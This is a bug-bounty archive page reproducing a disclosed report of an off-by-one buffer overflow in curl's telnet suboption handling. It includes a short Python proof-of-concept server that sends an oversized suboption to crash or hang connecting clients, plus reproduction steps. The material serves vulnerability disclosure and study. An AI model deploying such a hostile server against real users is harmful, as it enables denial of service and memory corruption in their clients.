Skip to content
Memory corruption Disclosed report Advanced

Curl Telnet Handler Buffer Overflow

A bounds check in curl's telnet suboption handling lets a malicious server write one byte past a 512-byte buffer, corrupting adjacent fields in the telnet state structure. The reporter confirmed the client hangs indefinitely, giving a denial of service against anyone connecting to a hostile telnet server.

pelioro Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 1 hour

Summary:

I found a buffer overflow in curl's telnet protocol handler that allows remote memory corruption without authentication. The bug is in the CURL_SB_ACCUM macro in lib/telnet.c line 69, where the bounds check lets you write one byte past the end of a 512-byte buffer. When curl receives 512+ bytes in a telnet suboption, it overflows into adjacent memory and corrupts the telnet state machine.

Python
import socket
import threading
import time

def exploit(port=8023):
    def handle(client):
        time.sleep(0.2)
        client.send(b'\xff\xfd\x18')
        time.sleep(0.3)
        payload = b'\xff\xfa' + b'A' * 513 + b'\xff\xf0'
        client.send(payload)
        client.close()
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('127.0.0.1', port))
    s.listen(1)
    threading.Thread(target=lambda: handle(s.accept()[0]), daemon=True).start()
    return s

exploit(8023)

Affected version

curl 8.19.0-DEV (x86_64-pc-linux-gnu) libcurl 8.19.0-DEV Built from source on Ubuntu/Linux with debug enabled Telnet protocol support enabled by default

Steps To Reproduce:

  1. Terminal 1: Run the exploit server

    Bash
    python3 poc.py
    
  2. Terminal 2: Connect with curl

    Bash

./src/curl telnet://127.0.0.1:8023


3. Expected result: curl hangs indefinitely due to memory corruption (timeout exit code 124)

4. Normal behavior: curl should connect and disconnect cleanly when connecting to a non-malicious server

The vulnerability triggers when curl receives a telnet suboption (IAC SB) followed by 513+ bytes of data, causing the subbuffer[512] to overflow into adjacent struct fields.

## Impact

- **Denial of Service**: Confirmed - curl hangs indefinitely (timeout exit code 124)
- **Memory Corruption**: Overwrites adjacent struct fields in TELNET structure
- **State Machine Corruption**: Telnet protocol state becomes invalid
- **No Authentication Required**: Exploitable over network without credentials

The original report as published on HackerOne, by pelioro. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an off-by-one in the CURL_SB_ACCUM bounds check that permits writing index 512 of a 512-byte subbuffer.

Impact

Confirmed denial of service: the client hangs indefinitely, and adjacent telnet state fields are corrupted; no authentication is needed, though the text does not demonstrate code execution.

What the attacker needed

Victim connects to a malicious telnet server; telnet support enabled in curl

How it was found

  1. Start the provided Python server that sends a telnet suboption with 513 bytes of data.
  2. Connect to it with the locally built curl using the telnet scheme.
  3. Observe that curl hangs indefinitely instead of disconnecting.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

curl is a command-line tool for fetching data over many protocols, including telnet. When it talks telnet, it stores incoming option data in a fixed-size memory area, and the check on how much fits was off by one, so a hostile server could push a byte into neighbouring memory. The visible result is that curl freezes instead of finishing cleanly.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by pelioro

View all

3 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.